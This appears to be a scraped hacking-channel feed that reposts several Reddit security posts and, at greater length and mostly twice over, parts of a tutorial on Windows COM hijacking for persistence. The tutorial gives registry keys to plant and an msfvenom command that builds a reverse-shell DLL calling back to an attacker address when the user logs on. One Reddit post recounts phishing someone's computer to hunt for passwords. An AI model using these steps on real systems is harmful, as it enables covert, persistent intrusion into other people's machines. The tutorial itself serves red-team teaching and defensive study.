pentesting graduation project ideas
https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/
I will graduate next year and they ask us in college for graduation project ideas to be delivered this semester. I'm a begginer in the cyber security field. I finished complete begginer path on Tryhackme and some other CTFs. I don't really have any idea in my mind. Can you recommend some ideas that's not too hard neither too easy? I want to work on some offensive projects. Programming won't be a proplem i have some scripting skills. Just want something suitable for me. I also don't want it to be traditional like scanners and fuzzers. I'd automate or solve proplems i face but i really never encountered such thing, that can be automated or solved. submitted by /u/Superb_Drawer_2214 (https://www.reddit.com/user/Superb_Drawer_2214)
[link] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/) [comments] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/
I will graduate next year and they ask us in college for graduation project ideas to be delivered this semester. I'm a begginer in the cyber security field. I finished complete begginer path on Tryhackme and some other CTFs. I don't really have any idea in my mind. Can you recommend some ideas that's not too hard neither too easy? I want to work on some offensive projects. Programming won't be a proplem i have some scripting skills. Just want something suitable for me. I also don't want it to be traditional like scanners and fuzzers. I'd automate or solve proplems i face but i really never encountered such thing, that can be automated or solved. submitted by /u/Superb_Drawer_2214 (https://www.reddit.com/user/Superb_Drawer_2214)
[link] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/) [comments] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
pentesting graduation project ideas
I will graduate next year and they ask us in college for graduation project ideas to be delivered this semester. I'm a begginer in the cyber...
hacking: security in practice
the checksum of an image as a password
Hello
During my past as a hacker, I had managed to gain access to a person's computer with phishing via email. I wanted to take these passwords saved on Google Chrome except that it had nothing. I then searched his computer and saw dozens of images, all drawn on paint. Then I found a folder named code, and I saw a python script that returned the checksum of a file.
After digging around a bit, I figured it all out:
He drew random drawings by hand on paint, uses the python script to get the checksum and uses the result as a password. I found the passwords in a text file.
WTF!
submitted by /u/Melodic-Heart-1172
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
the checksum of an image as a password
Hello
During my past as a hacker, I had managed to gain access to a person's computer with phishing via email. I wanted to take these passwords saved on Google Chrome except that it had nothing. I then searched his computer and saw dozens of images, all drawn on paint. Then I found a folder named code, and I saw a python script that returned the checksum of a file.
After digging around a bit, I figured it all out:
He drew random drawings by hand on paint, uses the python script to get the checksum and uses the result as a password. I found the passwords in a text file.
WTF!
submitted by /u/Melodic-Heart-1172
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
the checksum of an image as a password
Hello During my past as a hacker, I had managed to gain access to a person's computer with phishing via email. I wanted to take these passwords...
hacking: security in practice
People in malware development, exploit research, etc.… how have custom compilers been effectively used or not used?
Talking to my dad who’s kinda an old school engineer from the 80s, he told me he recently had to write a custom compiler for a variety of reasons I won’t get in to. Kinda forget that people actually have to do the painstaking work to write compilers but I rarely hear about them in the context of cybersecurity and cybercrime. Not unlike the adoption of rust by some in the hacking space, has the idea of writing specific compilers for tasks/operations seen the light of day?
submitted by /u/heap-spray-n-pray
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
People in malware development, exploit research, etc.… how have custom compilers been effectively used or not used?
Talking to my dad who’s kinda an old school engineer from the 80s, he told me he recently had to write a custom compiler for a variety of reasons I won’t get in to. Kinda forget that people actually have to do the painstaking work to write compilers but I rarely hear about them in the context of cybersecurity and cybercrime. Not unlike the adoption of rust by some in the hacking space, has the idea of writing specific compilers for tasks/operations seen the light of day?
submitted by /u/heap-spray-n-pray
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
People in malware development, exploit research, etc.… how have...
Talking to my dad who’s kinda an old school engineer from the 80s, he told me he recently had to write a custom compiler for a variety of reasons...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Windows Persistence: COM Hijacking (MITRE: T1546.015)
IntroductionAccording to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.” To hijack a COM object, an attacker needs to make certain changes in registry hives and replace the reference to a legitimate system component with a malicious one. When that application is run and the COM object is called, the malware is run instead, hence, giving persistence.
In this article, we will cover the methodology for COM hijacking.
MITRE TACTIC: Persistence (TA0003), Privilege Escalation (TA0004)
MITRE TECHNIQUE ID: T1546 (Event Triggered Execution)
SUBTITLE: T1546.015 Table of Content* Background
* Attack Methodology
* Discover Hijackable Keys
* InProcServer32: CacheTask (Physical Access to Machine)
* InProcServer32: CacheTask (Remote Access to Machine)
* InProcServer32: Internet Explorer (Remote Access)
* LocalServer32: Remote Access to Machine
* Conclusion BackgroundAccording to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology. By default, only Administrators may remotely activate and launch COM objects through DCOM. DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting in a non-domain joined the system, some magical code is required which is not in the scope of this article.
Registries: The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.
CLSID: The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly Windows, to detect and access software components without identifying them by their names. More info here. Attack MethodologyBasically, any application which is triggering an EXE/DLL or some other library first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).
To perform the attack, we have to follow[...]
___________________________
@hacking_Attack
@Hacking_Video
Windows Persistence: COM Hijacking (MITRE: T1546.015)
IntroductionAccording to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.” To hijack a COM object, an attacker needs to make certain changes in registry hives and replace the reference to a legitimate system component with a malicious one. When that application is run and the COM object is called, the malware is run instead, hence, giving persistence.
In this article, we will cover the methodology for COM hijacking.
MITRE TACTIC: Persistence (TA0003), Privilege Escalation (TA0004)
MITRE TECHNIQUE ID: T1546 (Event Triggered Execution)
SUBTITLE: T1546.015 Table of Content* Background
* Attack Methodology
* Discover Hijackable Keys
* InProcServer32: CacheTask (Physical Access to Machine)
* InProcServer32: CacheTask (Remote Access to Machine)
* InProcServer32: Internet Explorer (Remote Access)
* LocalServer32: Remote Access to Machine
* Conclusion BackgroundAccording to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology. By default, only Administrators may remotely activate and launch COM objects through DCOM. DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting in a non-domain joined the system, some magical code is required which is not in the scope of this article.
Registries: The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.
CLSID: The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly Windows, to detect and access software components without identifying them by their names. More info here. Attack MethodologyBasically, any application which is triggering an EXE/DLL or some other library first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).
To perform the attack, we have to follow[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Windows Persistence: COM Hijacking (MITRE: T1546.015)
Learn COM Hijacking for persistence on Windows using InProcServer32 and LocalServer32 keys. MITRE ID: T1546.015.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Windows Persistence: COM Hijacking (MITRE: T1546.015) IntroductionAccording to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and…
these steps:
* Find hijackable keys in the registry. COM servers that have missing CLSIDs and don’t require elevated privileges (belonging to the HKEY_CURRENT_USER category)
* Add a corresponding CLSID and strings referring to the application that had missing CLSIDs
* Create a malicious file
* Prompt the user to run the application which is supposed to trigger the COM event and run a malicious file. Discover Hijackable KeysPart 1
To discover hijackable keys, we would require a process monitor. We need to put these 4 filters:
* Operation is RegOpenKey Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDV7r0ezJTAfkZItwubFdWmQwEL497Qhhc6DRC-BZPPSbE1lgN8b_iaNmO4b066eRk49vkUboZOOm-GHPsr49WE2_VfTDUP8oqliwsh_2--v6NXD3SpunhmwOWou5l7QkPkvuwF0rabB7YLmXRvuIK5UM04Z_bXFb_wW1naFjDaZ97tqufxFjjbMfIqA/s16000/1.png?w=640&ssl=1
* Result is NAME NOT FOUND Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH7NH8rKVcRh7qSDFvNooqX1wyGWUmFcgQm9j7KBCgNuf5ljisxcN92LpZZSwTbf4K3nC_ugGlaJGlQwll8NNWks8d5c8engO2eFT-YQz3cBUXpjZy3e1OIrHypFTY0fYOz5-BCOjHfl-YOBAaXKPXujtPntGplyTWLcTHbXeL3AgZSLk7UO5BA1KAw/s16000/2.png?w=640&ssl=1
* Path ends with InprocServer32/LocalServer32 Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tBDRwwhr44igxvVgM_Dv3KKLBvB22RH-kEK67haBUQo2t0OqkGqBzitbHlaNLVyPOoBOvV8aYGkrFcAq3QgqtZAr9GSM2G94XtYzq7fh4xCtUSl51yX3Lg6LLYlxsOV3jNlfRJpjxU9kwkBCNf9xST5-dCC58z1Cn-uGCJbAZJsQ2ryf74UENEG-Pg/s16000/3.png?w=640&ssl=1
* Path begins with HKLM Exclude
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkHH9M4SCyYpaAqSKomjNYh4YZ4ZbhGM_Fz9uqktAPyQrC459ebKypdQXdepdXagAWTiSeB8JBKlfiZ6w1IdJgOe1iUabeytJB98UNn5cABkw2Rdtkz802nQB2fr1RY6tGGsMb2mr9l-4DzCBfQP2wFxWsRazGiLBk3xqw_gdn4xvTaPlxQS2Kr5tfdw/s16000/4.png?w=640&ssl=1
Now you’d have an output of all the probably hijackable keys.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZxbHr_mn12myJ3BseTIRdjI7Si7EPzeJY0Jgdvmj1RmmmjzOMrad2UzlQxuFVxgcuf2pihE_GDLZ0ABebnbaoVXn9DSht_dVbM7ns2_p2Ck0VS2hDH_5kt8J9CXYZFPan5BGOWEiz65YjTizgOT2mVd_q-ormQtSNiLDgTXZSNh_vbo4WIT7bodwNCw/s16000/5.png?w=640&ssl=1
We can export this result and save it as “Logfile.CSV”. nccgroup developed a script called acCOMplice which can take in this CSV as input and give out all the keys that can be hijacked. Here, we are viewing InprocServer32 hijackable keys. We can download and use it like:
Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSV
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZGsBF0Rrry1Y4lWF_ZJUiRHNKoPAYRv9xq5kwTZfdqUfINIi7KK2v9W1pRE65S6qzKAKWBGW1stac1_o8LE0SIJ6A4R04kJNzgT0o8dakVJC7LSqMzsNQrCtCSnSpjui9M3RlMjDrQGlV4zl8PxvqOgOArVJIPyN_un5D1AkhvmZf86s0bP5AlznDzQ/s16000/6.png?w=640&ssl=1
Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2Rp-qnGs3OZkWIxkdbGfggVqfABGeO57iDMVW5EtYW3K8-5bhDYQSGskIS4UvgGx-tPOdyty0JffviZOAbNQs2YlFawXOQkvxVVyyiFhGQ-sZSjjZZeh56e4L3ZcXbRLL1HML_vm8hPAm2SMJUrtdGQtCoyn88ouFalHotWvVJU0aKfWqK8L4Ua2B0Q/s16000/7.png?w=640&ssl=1
These are all the DLLs that are missing from the disk. So, if we just upload our malicious DLL onto one of these paths and rename it as the DLL mentioned.
Part 2
Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii4M8L58lanyDpzV_mef-VAF0ZPdOmPFrEWnL2Rp3r6ZTp7W9BsLWcNdBn2iCMkozm1Q0AkEi5PxeOshWbQGtZhSLSzmfJfFL4CfNmBcdyIkZuLRafwfGH6JBRjtduJkTTTCPECVIIQ3yIKRNibrKl9rV1dsnJIuWpRzdsMThNaM23B15kEpigM7Xa2Q/s16000/8.png?w=640&ssl=1
The script[...]
___________________________
@hacking_Attack
@Hacking_Video
* Find hijackable keys in the registry. COM servers that have missing CLSIDs and don’t require elevated privileges (belonging to the HKEY_CURRENT_USER category)
* Add a corresponding CLSID and strings referring to the application that had missing CLSIDs
* Create a malicious file
* Prompt the user to run the application which is supposed to trigger the COM event and run a malicious file. Discover Hijackable KeysPart 1
To discover hijackable keys, we would require a process monitor. We need to put these 4 filters:
* Operation is RegOpenKey Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDV7r0ezJTAfkZItwubFdWmQwEL497Qhhc6DRC-BZPPSbE1lgN8b_iaNmO4b066eRk49vkUboZOOm-GHPsr49WE2_VfTDUP8oqliwsh_2--v6NXD3SpunhmwOWou5l7QkPkvuwF0rabB7YLmXRvuIK5UM04Z_bXFb_wW1naFjDaZ97tqufxFjjbMfIqA/s16000/1.png?w=640&ssl=1
* Result is NAME NOT FOUND Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH7NH8rKVcRh7qSDFvNooqX1wyGWUmFcgQm9j7KBCgNuf5ljisxcN92LpZZSwTbf4K3nC_ugGlaJGlQwll8NNWks8d5c8engO2eFT-YQz3cBUXpjZy3e1OIrHypFTY0fYOz5-BCOjHfl-YOBAaXKPXujtPntGplyTWLcTHbXeL3AgZSLk7UO5BA1KAw/s16000/2.png?w=640&ssl=1
* Path ends with InprocServer32/LocalServer32 Include
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tBDRwwhr44igxvVgM_Dv3KKLBvB22RH-kEK67haBUQo2t0OqkGqBzitbHlaNLVyPOoBOvV8aYGkrFcAq3QgqtZAr9GSM2G94XtYzq7fh4xCtUSl51yX3Lg6LLYlxsOV3jNlfRJpjxU9kwkBCNf9xST5-dCC58z1Cn-uGCJbAZJsQ2ryf74UENEG-Pg/s16000/3.png?w=640&ssl=1
* Path begins with HKLM Exclude
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkHH9M4SCyYpaAqSKomjNYh4YZ4ZbhGM_Fz9uqktAPyQrC459ebKypdQXdepdXagAWTiSeB8JBKlfiZ6w1IdJgOe1iUabeytJB98UNn5cABkw2Rdtkz802nQB2fr1RY6tGGsMb2mr9l-4DzCBfQP2wFxWsRazGiLBk3xqw_gdn4xvTaPlxQS2Kr5tfdw/s16000/4.png?w=640&ssl=1
Now you’d have an output of all the probably hijackable keys.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZxbHr_mn12myJ3BseTIRdjI7Si7EPzeJY0Jgdvmj1RmmmjzOMrad2UzlQxuFVxgcuf2pihE_GDLZ0ABebnbaoVXn9DSht_dVbM7ns2_p2Ck0VS2hDH_5kt8J9CXYZFPan5BGOWEiz65YjTizgOT2mVd_q-ormQtSNiLDgTXZSNh_vbo4WIT7bodwNCw/s16000/5.png?w=640&ssl=1
We can export this result and save it as “Logfile.CSV”. nccgroup developed a script called acCOMplice which can take in this CSV as input and give out all the keys that can be hijacked. Here, we are viewing InprocServer32 hijackable keys. We can download and use it like:
Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSV
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZGsBF0Rrry1Y4lWF_ZJUiRHNKoPAYRv9xq5kwTZfdqUfINIi7KK2v9W1pRE65S6qzKAKWBGW1stac1_o8LE0SIJ6A4R04kJNzgT0o8dakVJC7LSqMzsNQrCtCSnSpjui9M3RlMjDrQGlV4zl8PxvqOgOArVJIPyN_un5D1AkhvmZf86s0bP5AlznDzQ/s16000/6.png?w=640&ssl=1
Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2Rp-qnGs3OZkWIxkdbGfggVqfABGeO57iDMVW5EtYW3K8-5bhDYQSGskIS4UvgGx-tPOdyty0JffviZOAbNQs2YlFawXOQkvxVVyyiFhGQ-sZSjjZZeh56e4L3ZcXbRLL1HML_vm8hPAm2SMJUrtdGQtCoyn88ouFalHotWvVJU0aKfWqK8L4Ua2B0Q/s16000/7.png?w=640&ssl=1
These are all the DLLs that are missing from the disk. So, if we just upload our malicious DLL onto one of these paths and rename it as the DLL mentioned.
Part 2
Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii4M8L58lanyDpzV_mef-VAF0ZPdOmPFrEWnL2Rp3r6ZTp7W9BsLWcNdBn2iCMkozm1Q0AkEi5PxeOshWbQGtZhSLSzmfJfFL4CfNmBcdyIkZuLRafwfGH6JBRjtduJkTTTCPECVIIQ3yIKRNibrKl9rV1dsnJIuWpRzdsMThNaM23B15kEpigM7Xa2Q/s16000/8.png?w=640&ssl=1
The script[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
these steps: * Find hijackable keys in the registry. COM servers that have missing CLSIDs and don’t require elevated privileges (belonging to the HKEY_CURRENT_USER category) * Add a corresponding CLSID and strings referring to the application that had missing…
also has a great added module that can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence to the system.
Get-ScheduledTaskComHandler -PersistenceLocations
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5m9TuKHvVzH-yquP1sModJfP8dM1LLiMmZVtRPY_jqjB5He9Nqno3A-FkjUfpzlsvImP6qMTiZuiCkfI-O7hIZv3-iwiag1Beb8cta7OwAxspl2c6NrU6fFTwXgVAB1l3DAZ1uESszXOK63sct3UlS4xwvsMb94ue3zdwL_o7SMyVN79ePPH5UPGt0w/s16000/9.png?w=640&ssl=1
Let’s pick a task called cache task which uses wininet.dll upon first time logon.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5VvDuhLEh9usfEI4WpFMY4BqZcbmYv-82599o90u3erZ7aHocsn7EAO_FNuzRXvbWmyRf1-5AxmcgPUVDov2EMYMemDtTvbPNKuIM63dk3c8z6PsJifqyg6wQj8NOIVGboRwSnbxIta0psgCzewxvhbkE6AEhaj_n9HO6g2u6rThCvn_w11z1H2bL6w/s16000/10.png?w=640&ssl=1
By default, all the tasks are configured in the folder %sysroot%\Tasks. The configuration file of this task is available at the location:
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask which can be read using schtasks
schtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh39U4Ai5M3gsgRlyfnF99eju4f758jQ_WGbfbEW6rOOCZXH2BZuwfeBJkB00vaf_y2mACJR561ixYJuBaJaUEyQI7RReS-BjU3Cy-m_4a54N_aDPN49suUpa3gaxf4_seTNc57F1L1f5tjnaFCpBx8dHuRj48DPSk1aJ29edzvFd-iq7S2dFFr01Cw/s16000/11.png?w=640&ssl=1
Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dll
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiONKbSJtxbORhn6TlU2gPllEqcqKfFMqyuUaGTkQsv2G9zg7rD1Cnaw-amb5iixGcVWf2Ud1tlX29S5Z0MrCD52zIwoA0Lkv0bUZR_yUr-961t09exShiOPpXRTjpjyeGaF_ghSn_LByklY8xnZo8jzbtRF_cxspKRiYD8cN8gBJzGOETqwYYxPSFKLA/s16000/12.png?w=640&ssl=1
Now that we have identified a target, let’s use this COM object to conduct hijacking. InProcServer32: CacheTask (Physical Access to Machine)InProcServer32: InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.
In the enumeration above, we found out a COM object is vulnerable to hijacking. This registry exists in HKLM. As per the methodology, we need to create this same CLSID in HKCU (HKEY_CURRENT_USER) hive.
So, we open the registry hive and create this key
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\
Then we create one other key named:
{0358b920-0ac7-461f-98f4-58e32cd89148}
Again, right-click on this key and add a new subkey:
InProcServer32
Then under this, we create two strings, one with value: C:\users\Public\shell.dll and the other with the name “ThreadingModel” and value “Both”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpEukZCfqBCHpuZaMk7TWQPZXF5q2o416bL55yLvcFXocUkBVAVzNtbKUFMVW3LmymBV4a7XS6EjLitl1Zb8gRyiopIGg8t_r2yrg59WMxZl36Z94pUONUo2bhlqAn2mxA_kJGkBwAO6nyJjk3s7FbuRQgB0SAC9c8dYiXAZq5njo_KWzsxUKxvzvFnQ/s16000/13.png?w=640&ssl=1
Now, the path we just added doesn’t contain shell.dll. This is the code that will be executed when the user logs in. Let’s create a msfvenom DLL shell and upload it onto the victim system.
msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dll
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0PeemyjpREZSytGsNgbozJHpfozIJFz_4lZaPZF6TvlEIprXt0mOEiGKw1G2yClmHzk1__9-S2pwnPDEDYMw3Wp5LCk8RnYRzlqY_wwtq_SkAvkQhPoEuoEIZYe1713PALFj487tXsNK5DXkP0DDmPeg0VeipSYknNQ3wso0SXmAUhS-vE44UxYvAvg/s16000/14.png?w=640&ssl=1
Now, upon restart and first logon by the user, we will receive a reverse shell like so:
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoHzorCIAdM_fON9l1RpzTASMpbbwC489bSFjp38Wo6MZBkdoBFiworD3uAo_QiWJsjY5awCCDjvc4F4obu9JVM8p8iyVMx_DcvHjaEWOzc-fblsEmEZoRZnlm5ReUUQw-VYWoBR_UuMZUFNzZILmu_rDZ2D8Wy_rSaV5ats0v6b-b4tJ0gcF7tV4mJg/s16000/[...]
___________________________
@hacking_Attack
@Hacking_Video
Get-ScheduledTaskComHandler -PersistenceLocations
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5m9TuKHvVzH-yquP1sModJfP8dM1LLiMmZVtRPY_jqjB5He9Nqno3A-FkjUfpzlsvImP6qMTiZuiCkfI-O7hIZv3-iwiag1Beb8cta7OwAxspl2c6NrU6fFTwXgVAB1l3DAZ1uESszXOK63sct3UlS4xwvsMb94ue3zdwL_o7SMyVN79ePPH5UPGt0w/s16000/9.png?w=640&ssl=1
Let’s pick a task called cache task which uses wininet.dll upon first time logon.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5VvDuhLEh9usfEI4WpFMY4BqZcbmYv-82599o90u3erZ7aHocsn7EAO_FNuzRXvbWmyRf1-5AxmcgPUVDov2EMYMemDtTvbPNKuIM63dk3c8z6PsJifqyg6wQj8NOIVGboRwSnbxIta0psgCzewxvhbkE6AEhaj_n9HO6g2u6rThCvn_w11z1H2bL6w/s16000/10.png?w=640&ssl=1
By default, all the tasks are configured in the folder %sysroot%\Tasks. The configuration file of this task is available at the location:
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask which can be read using schtasks
schtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh39U4Ai5M3gsgRlyfnF99eju4f758jQ_WGbfbEW6rOOCZXH2BZuwfeBJkB00vaf_y2mACJR561ixYJuBaJaUEyQI7RReS-BjU3Cy-m_4a54N_aDPN49suUpa3gaxf4_seTNc57F1L1f5tjnaFCpBx8dHuRj48DPSk1aJ29edzvFd-iq7S2dFFr01Cw/s16000/11.png?w=640&ssl=1
Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dll
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiONKbSJtxbORhn6TlU2gPllEqcqKfFMqyuUaGTkQsv2G9zg7rD1Cnaw-amb5iixGcVWf2Ud1tlX29S5Z0MrCD52zIwoA0Lkv0bUZR_yUr-961t09exShiOPpXRTjpjyeGaF_ghSn_LByklY8xnZo8jzbtRF_cxspKRiYD8cN8gBJzGOETqwYYxPSFKLA/s16000/12.png?w=640&ssl=1
Now that we have identified a target, let’s use this COM object to conduct hijacking. InProcServer32: CacheTask (Physical Access to Machine)InProcServer32: InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.
In the enumeration above, we found out a COM object is vulnerable to hijacking. This registry exists in HKLM. As per the methodology, we need to create this same CLSID in HKCU (HKEY_CURRENT_USER) hive.
So, we open the registry hive and create this key
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\
Then we create one other key named:
{0358b920-0ac7-461f-98f4-58e32cd89148}
Again, right-click on this key and add a new subkey:
InProcServer32
Then under this, we create two strings, one with value: C:\users\Public\shell.dll and the other with the name “ThreadingModel” and value “Both”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpEukZCfqBCHpuZaMk7TWQPZXF5q2o416bL55yLvcFXocUkBVAVzNtbKUFMVW3LmymBV4a7XS6EjLitl1Zb8gRyiopIGg8t_r2yrg59WMxZl36Z94pUONUo2bhlqAn2mxA_kJGkBwAO6nyJjk3s7FbuRQgB0SAC9c8dYiXAZq5njo_KWzsxUKxvzvFnQ/s16000/13.png?w=640&ssl=1
Now, the path we just added doesn’t contain shell.dll. This is the code that will be executed when the user logs in. Let’s create a msfvenom DLL shell and upload it onto the victim system.
msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dll
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0PeemyjpREZSytGsNgbozJHpfozIJFz_4lZaPZF6TvlEIprXt0mOEiGKw1G2yClmHzk1__9-S2pwnPDEDYMw3Wp5LCk8RnYRzlqY_wwtq_SkAvkQhPoEuoEIZYe1713PALFj487tXsNK5DXkP0DDmPeg0VeipSYknNQ3wso0SXmAUhS-vE44UxYvAvg/s16000/14.png?w=640&ssl=1
Now, upon restart and first logon by the user, we will receive a reverse shell like so:
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoHzorCIAdM_fON9l1RpzTASMpbbwC489bSFjp38Wo6MZBkdoBFiworD3uAo_QiWJsjY5awCCDjvc4F4obu9JVM8p8iyVMx_DcvHjaEWOzc-fblsEmEZoRZnlm5ReUUQw-VYWoBR_UuMZUFNzZILmu_rDZ2D8Wy_rSaV5ats0v6b-b4tJ0gcF7tV4mJg/s16000/[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
